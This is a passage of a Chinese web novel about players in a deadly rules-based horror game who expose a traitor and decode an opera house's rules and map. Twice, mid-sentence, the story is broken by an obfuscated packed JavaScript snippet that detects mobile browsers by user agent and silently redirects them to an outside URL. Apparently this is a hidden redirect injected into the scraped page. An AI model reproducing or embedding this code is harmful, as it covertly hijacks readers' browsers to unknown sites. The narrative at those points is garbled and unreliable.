她收起回忆的思绪,现场的气氛略有些凝重。 沈秋白选择继续与向子茹交谈:“我认为,我们当务之急,还是讨论规则更重要。”她表情认真而真诚,向子茹的狐疑消散几分,心思摇摆着,有些被她的态度打动。 熊仁泽强硬打断:“规则?我们跟你们什么好说的,你们又没有证据能保证自己的身份干净?” 接着,他狐疑地盯着舒瞳:“看你这身衣服,你不会是乐团的人吧?” 舒瞳两手紧紧攥着黑色礼裙。 她感受到对方的恶意,正面迎接:“你什么意思?” 熊仁泽:“怪谈开启的时候我们都知道,那个道具吊灯不知为什么突然砸了下来,你们交响乐团不就正好在吊灯下面吗?” “你当时就被砸死了吧!?” “你脑子的沟壑甚至不如你的肌肉起伏大吧,你说谁死了?死人能好好站在这?” 舒瞳并不完全了解这个游戏的流程,此时她虽有些无知,但也恰好增添了几分无畏。 就像狼人杀里,自认为是好人的,状态总是特别高。 “她不是‘伥鬼’。”迟青瑜尽量心平气和跟他们讲道理,“她第一次进来,还不知道这个游戏是怎么样的,按照刚刚的反应,你们也能听出她并不知道什么是伥鬼,她是好人。” 对方几人微微点头,熊仁泽自觉无趣闭了嘴,宋鹏小心翼翼道:“我、我不是想怀疑你们但、但是,你们确实没证据。” 迟青瑜翻了个白眼:“你们也没证据。” 沈秋白看她做了恶人,非常默契地在一旁打配合,她忧心忡忡道:“将心比心,我们没有怀疑你们,我们只是想好好合作而已。” 她们一个唱红脸一个唱白脸,给向子茹整羞愧了,她连忙摇头:“别误会,他也只是为了生命安全,有些草木皆兵,希望你们能理解。” 迟青瑜倒是很自在地承担了恶人角色,她不说话,耐心地等着两人缓和气氛后,她开口: “我有一个问题。” 众人齐刷刷望向她。 “禁止将规则告诉我们的规则,是谁发现的?” 向子茹:“是熊仁泽,怪谈开始的时候他在走廊,这条规则是在墙壁上发现的。” 迟青瑜:“有照片吗?” 向子茹摇摇头,熊仁泽解释道:“拍照干什么,我又不是记不住。”话里话外还在意着舒瞳回怼他的说辞。 迟青瑜瞥他一眼,不打算跟他继续交流。 “既然你们没有太多可以告诉我们的,那就留我们自由探索如何?”迟青瑜转而询问向子茹。 向子茹点头答应:“也好,但我们可能暂时出不去了。” “你们下来地下歌剧院,基本已经触犯其中一个规则条例,只要你们还在这里,就会被管理员追杀……至少我们几个肯定会。” 熊仁泽满脸厌烦:“啧,真烦。你们找到东西就快走,我们也还没探索完呢。” 迟青瑜:“你们还知道哪里有连接通道吗?” 现在已经过了十二点,从舞台的窟窿肯定不能回去,只能另想办法。 向子茹摇头:“没有,我们没有找到。” 宋鹏:“你们可、可以去其他的音乐教室看看,这、这里不止一间这样的教室。我、我们之前看过,后台全、全是这样的教室。” 后台全是音乐教室,这就很奇怪了。 舒瞳:“我从没听过哪个剧院这样设计的。” 迟青瑜:“这里不是一开始就是这样的。正常来说,怪谈在一开始都不会有太大变化,这是由于死人而引发的能量改变。” “‘伥鬼’在你们四人之中。” 她冷静地抛下这句话,换来的是对方的沉默。 “你什么——” “别打断我。” 迟青瑜抬眼盯着熊仁泽,对方的气势瞬间小了一半。 她笑笑:“我的话还没说完。” “死人在选择复活的一刻,就已经知晓怪谈内的所有规则,他可以隐藏甚至对自己找到的信息撒谎,同时,诱导你们偏离调查的信息,并且还能推迟你们搜查怪谈改变的地区,进而混淆视听。” 宋鹏将不说话的妹妹护在身后,警惕地盯着其余二人。 向子茹越听,冷汗越是流。 几个小时内的经历在她脑海中不断回忆着。 一开始,她是一名坐在角落的观众,是演出中断后,才在观众席的对角找到宋氏兄妹。宋佳丽蹲在角落吓坏了,宋鹏称妹妹患有失语症,虽然可以正常阅读但不能正常表达。 当时,宋鹏声称他们俩一直在原地,没有走动,并无规则寻获。 三人汇合后,才在走道遇到熊仁泽,对方此时将走廊张贴的告示告知自己。 告示的内容不多,主要叮嘱各位观众和工作人员要防止上面的人,不允许上面的人下来,寻找克里斯汀的头颅,否则魅影会输掉比赛,地下歌剧院的所有人都会因此陪葬。 后来呢? 后来他们先是在观众席和舞台都找了一圈,然后去外场和售票处,最后去的后台…… 向子茹抬眸,她凌厉的眉毛紧绷着,一个抬腿踢向那人的膝盖后窝。 熊仁重心不稳,扑通一声双膝跪地,向子茹用膝盖将他压在地面,双手一掰,咔嚓一声,明晃晃的银手镯拷在他的手腕上。 “不许动,警察!” 她一连串的动作干净利落,舒瞳在一旁星星眼拍手,低声叹了声好帅。 虽然她并不理解现状,但被警察抓的肯定不是好人! 熊仁泽青筋暴起,正想起身挣脱束缚,司沉顺手给了他一脚,疼得一个壮汉龇牙咧嘴眼冒金星。 迟青瑜:“你俩下手真狠。” 沈秋白汗颜:“还是你直接点出问题更狠……” 熊仁泽嘴角流着血:“你犯什么病?她说什么你就信?有证据吗就说我是内鬼??” 向子茹是不会放任危险分子的,她怒吼一声:“老实点!” 迟青瑜拿起手机:“倒是有一个办法可以证明你的清白。” 手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437854|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的短信上,最后一个问题还空着。 在游戏的流程里,若是有人被检举处决,怪谈会直接将他的身份反派告知,但到那时,生死已成定局,几乎没有人会用这种方式自证清白。 熊仁泽艰难地抬头,但怎么也看不到迟青瑜的脸:“你疯了!!你这是蓄意杀人!” “是不是杀人,试一下就知道了。” 迟青瑜抬起手,爽快地给熊仁泽拍了张照片:“为了防止你谎报名字,还是拍照最稳妥。” 说完她便上传照片,就在她要按下确定键的时候…… “等等,别!我可以帮你们!” 熊仁泽一改态度,他紧张得甚至有些结巴:“我、我可以帮你们的,我知道全部的规则,你不要投票……” 他认下了死人的身份。 迟青瑜冷着脸:“还有一分钟截止投票,我们要怎么相信你?” 熊仁泽:“我也不想的!有谁会愿意想死吗?我家里还有父母赡养,底下还有个在读书的弟弟,我还没结婚,还没有做好多事情……” “那个声音说,只要我能让你们都死在这里,我就能拥有第二次生命,而且还、还说这次人多,说不定可以让我从此摆脱玩家的身份……” “我肯定输了,但凡你们有一个人活着出去,我就输了……但我不想死得这么憋屈,给我时间、给我时间留一封信给家里人吧!求求你们了!” 他语气急切,向子茹沉声:“就算我们不投票,你也别想正常行动,别想耍滑头。” “不、不会的,警察同志,我真的,真的……” 后面的话他没有说出口,被哽咽声淹没。 时间已到,迟青瑜没有按下发送按钮。 迟青瑜蹲下身,让他能与自己对视:“那就把你知道的规则,全都说出来——” “别想趁机改规则,我脑子比你好使。” 司沉冷不丁地开口:“又或者你想再挨几脚。” ------------------------------------------------------ 十二点的钟声刚过不久,国立歌剧院外,警戒线封锁现场,警笛声响彻天际。 突然发生的事故引起了火灾,好在疏散及时,消防也及时赶到,没有引起很大的伤亡。 但却有几人失踪。 火已经被熄灭,搜救人员和搜救犬还在里面寻找着幸存者。 “怎么样了?”一个四十多岁胡子邋遢的男人询问现场情况。 “周队,还没有……”一旁的警员神秘兮兮,“向子茹也失踪了,你看这件事……” 中年男人神色不明:“让搜救队继续找,不能向民众泄露这个消息,有风声记得处理。” 向子茹是执行秘密任务的,除了他这个顶头上司,没几个人知道。 “是。” 周恺翻出手机信息,查看着上面的消息记录: 【???】:我给你们的信息准吧?哈哈。 【???】:她要是能活着回来,你们可要好好盘问她,这可是难得的线索,千万别错过。 【???】:要是没回来,那就当我没说。 周恺关闭手机屏幕,点了根烟。 30.魅影歌剧院11 尽管有七个人盯着,迟青瑜也不认为熊仁泽真的老实了。 据他所说,除了后台以外的地方,几乎没有太多规则,唯一的规则其实张贴在某个消防栓上,不容易注意到。至于后台的规则,其实也很少,他们在这之前也搜刮完毕。 迟青瑜听他复述,在手机上记录着规则细目。 张贴在某个消防栓的告示:《火灾紧急疏通告示》 各位观众与工作人员请注意,地下歌剧院发生火灾,时间紧急,请各位人员遵守以下规则,有序离开: 1、火灾已经被扑灭,请各位人员从安全通道撤离。安全通道的指示牌上,标注有“魅影”的特殊面具符号,通往安全通道的道路上,则张贴有“魅影”的海报,请各位认真辨别。 2、“魅影”的面具符号为白色、遮挡全脸、只露出眼睛的面具。 3、“魅影”的海报为身穿黑色斗篷与西装,脸戴面具,黑色短发的模样。请注意,“魅影”是女性,如果你发现男性“魅影”的海报,请无视,并且为了防止其他人误认,请你务必撕下来销毁。 4、请记住,这里是地下歌剧院,如果你看到任何有关“魅影歌剧院”的文字,请不要相信它,立刻远离。如果有人自称来自“魅影歌剧院”,请阻止他们进入此处。 5、管理员女士不会允许任何违反规则的行为,请保证你遵守规则。如若你触犯了任何一条规则,进入后台,找到声乐练习教室,即可躲避管理员女士的责罚。 加上演出中断时,魅影在现场宣布的投票规则,这就是外场的全部规则了。熊仁泽也只是在这条规则的第四条加上了禁止告知规则的条例,以混淆视听。 迟青瑜检查过,投票规则与自己在上方见到的一致。 她听完后觉得奇怪:“按理说从安全通道就能离开这里,你们去找过吗?” 向子茹:“我们找过,但是安全通道的门上写着一句话——门后通往‘魅影歌剧院’,我们只能遵守规则远离。” 司沉:“我在上面检查过所有通道,全都封死,打不开。” 也就是说,这是一条单向通道,并且是给上面的四名玩家准备的,对于下面的玩家来说完全是个陷阱。 好消息是,迟青瑜至少有方式能回到上面;坏消息是,路途遥远曲折,管理员女士一直在外巡逻,逃生之路危险重重。 至于后台这个地方,据向子茹说,他们看到的每一个教室都一模一样,并没有找到规则,只找到一份地图。 向子茹调出地图,上面绘制的是舞台和后台结构的俯视图。 舞台在正中间,是一个横着的长方形;舞台后方有两条路,呈左右两边分布,这两条路很细长,一路上倒是没有任何房间;最后这两条路才开始分叉出一个个小房间。 这些房间就是声乐练习教室。 舒瞳更加不明白了:“你刚刚说什么这个地方的构造会变,怎么变成这么奇怪的样子了。” 沈秋白解释:“在怪谈里如果死人了,相当于这部分能量被诡异吞噬,也就代表诡异力量的增强。一般来说,这会造成场景的大范围改变,这些改变大多是对诡异有利的,更加方便祂们捕猎玩家。” 舒瞳打了个寒颤,迟青瑜在一旁补充: “也不是完全有利于诡异。像之前我在天使孤儿院里的经历那样,场景的改变往往意味着‘核’会暴露一部分自己的内心。” 这对玩家来说也是线索。 舒瞳:“所以……这个地方有什么线索吗?” 迟青瑜绷着一张脸,她抬眸看着向子茹:“你们证实过这份地图的准确性吗?” 向子茹一怔:“应该没有很大出入……怎么了?” 看迟青瑜板着脸,众人意识到事情或许有些内幕。 迟青瑜讲手机图片放大,展示给众人看:“虽然这个图案有些扭曲,比例也不太写真,但,你们不觉得这图长得很像女性的子宫吗?” “啊??” 舒瞳凑上去,眼睛瞪大:“真的哎,舞台是子宫,两条通道是输卵管,两边集中的房间看起来就像卵巢里的……” 她一时卡壳,迟青瑜补上这个名词:“卵泡。” “对对对!哎呀以前学的东西有些忘了哎……” 一旁的宋鹏听得目瞪口呆:“你、你的想象力是不是太、太丰富了……” 他仔细一看,这个形状确实是有点相似,但也不一定就是子宫,也有可能说是别的东西。 但迟青瑜很很确定:“没有其他可能。” 沈秋白:“你的依据?” 她的依据就是跟规则结合起来发现的异常。 在魅影歌剧院的规则里,有一条规则始终让迟青瑜摸不着头脑——售票处不会售卖其他人的海报,如果看到了请不要购买,但是女性却可以购买,只要在十分钟内销毁即可。 当时她疑惑:为什么只有女性可以购买? 而后,地下歌剧院的规则里也同样提到了与性别有关的内容——“魅影”是女性,而不是男性。 种种迹象表明,性别这个概念在双方的认知中都十分重要。 向子茹似懂非懂:“这跟地图又有什么关系?” 迟青瑜从背包里拿出一支笔,笔尖指着其中一个音乐教室。 “我们现在在这里。” “这里,是卵巢孕育卵子的场所,也就是生命之初。” 她的笔尖游移着,顺着长长的通道移动。 “卵子发育成熟,会顺着输卵管一路来到子宫,在这里,也就是舞台。” 而在子宫,卵子若是与受精卵相结合,就能形成完整的胚胎,顺利的话就能着床成长,直到分娩。 舒瞳蹙眉,隐隐感觉有些不安。 沈秋白:“你是说,假设‘魅影’把自己认为是卵子,从声乐教室诞生或许也契合祂对自己认知,而通过在教室中不断的练习,祂最终成熟,得以登上舞台。” 舒瞳:“这……基本上是所有音乐人的人生缩影。” 但迟青瑜认为这个故事到此并没有结束。 “……祂的道路尽头并不在舞台。” “什么?” 卵子只含有一半的基因序列,要向成为一个完整的人,必须要与精子融合。 子宫的部分,是舞台。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450875|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 迟青瑜的声音低下来:“祂认为自己是不完整的,而只有在舞台上,祂才有可能变成一个完整的人。” 舞台的下面是什么? 数以万计的观众。 或许,被观众看到,得到观众的认可,才是祂缺失的另一半。 “天啊……” 舒瞳此时双手抱臂,微微颤抖:“我不行,我有点听不下去。” 迟青瑜轻抚着她的背部。 向子茹有些懵:“你这套说辞,有点像局里的犯罪侧写师。” 沈秋白清清嗓子,打破有些沉重的气氛:“无论如何,这确实是一个调查方向,我们可以根据线索确定‘核’的身份。” 迟青瑜:“向子茹,你们见过魅影,祂长什么样?” 向子茹回忆:“身材纤细,比较高挑,穿着厚重的斗篷,看不清脸,但从声音判断是个成年女性。” 跟规则里描述的相差无几。 克里斯汀和魅影不是一个人,但她们的关系却很紧密。克里斯汀的表现大部分与许灵儿一致,但也有一部分相矛盾,而魅影所表现出来的,却是跟自信张扬的克里斯汀完全相反的一面。 自卑、敏感、怀才不遇,还有不被世界认可的不甘心。 这样的两个人怎么会是紧密又排斥的关系呢? 线索不足,思维陷入僵局,迟青瑜焦虑地咬着手指。 向子茹忽然想起来一件事:“对了,你们要从安全通道回去的话,还需要回答门上的一个问题。” 迟青瑜抬起头:? 安全通道的门上写着:若想要打开这扇门,请回答一下以下问题: 【本剧院表演的剧目是什么?】 沈秋白懊恼:“我们没来得及找海报。” 向子茹也忧心忡忡:“我们这边也完全没有关于剧目的海报。” 诡异给了个明显的出口,但又完全不给答案。 迟青瑜喃喃:“剧目……” 她开始搜索起古今中外有名和不出名的音乐剧和歌剧:“沈冬安给我的资料上有很长一条清单……” 舒瞳“啊”了一身:“那也太多了!” 难道要一个个穷举吗?迟青瑜想着。 首先排除《歌剧魅影》。 两边表演的剧情虽然都以《歌剧魅影》为范本,但从中途开始剧情就产生偏离,诡异的聊天中也透露这点。 舒瞳烦躁地玩着头发:“烦死了,整这些花里胡哨的,不就是想让我们关注他们吗?这种公关手段老套死了!” 迟青瑜顿了顿。 公关? 她一拍手:“没错,是公关。” 有一个音乐剧,它的原型是现实故事,虽然音乐剧本身弘扬的是正能量,但原型故事本身在现实里却极具争议。 原型是上世纪的一个马戏团,该马戏团以畸形的表演人员为噱头,加上一些略微“夸张”的宣传语,很成功地吸引到了关注度。虽然后续有不少声音斥责该马戏团欺骗观众,但这个公关手段却极其有效。 而这个故事也被改编成了另一个著名音乐剧。 ——《马戏之王》。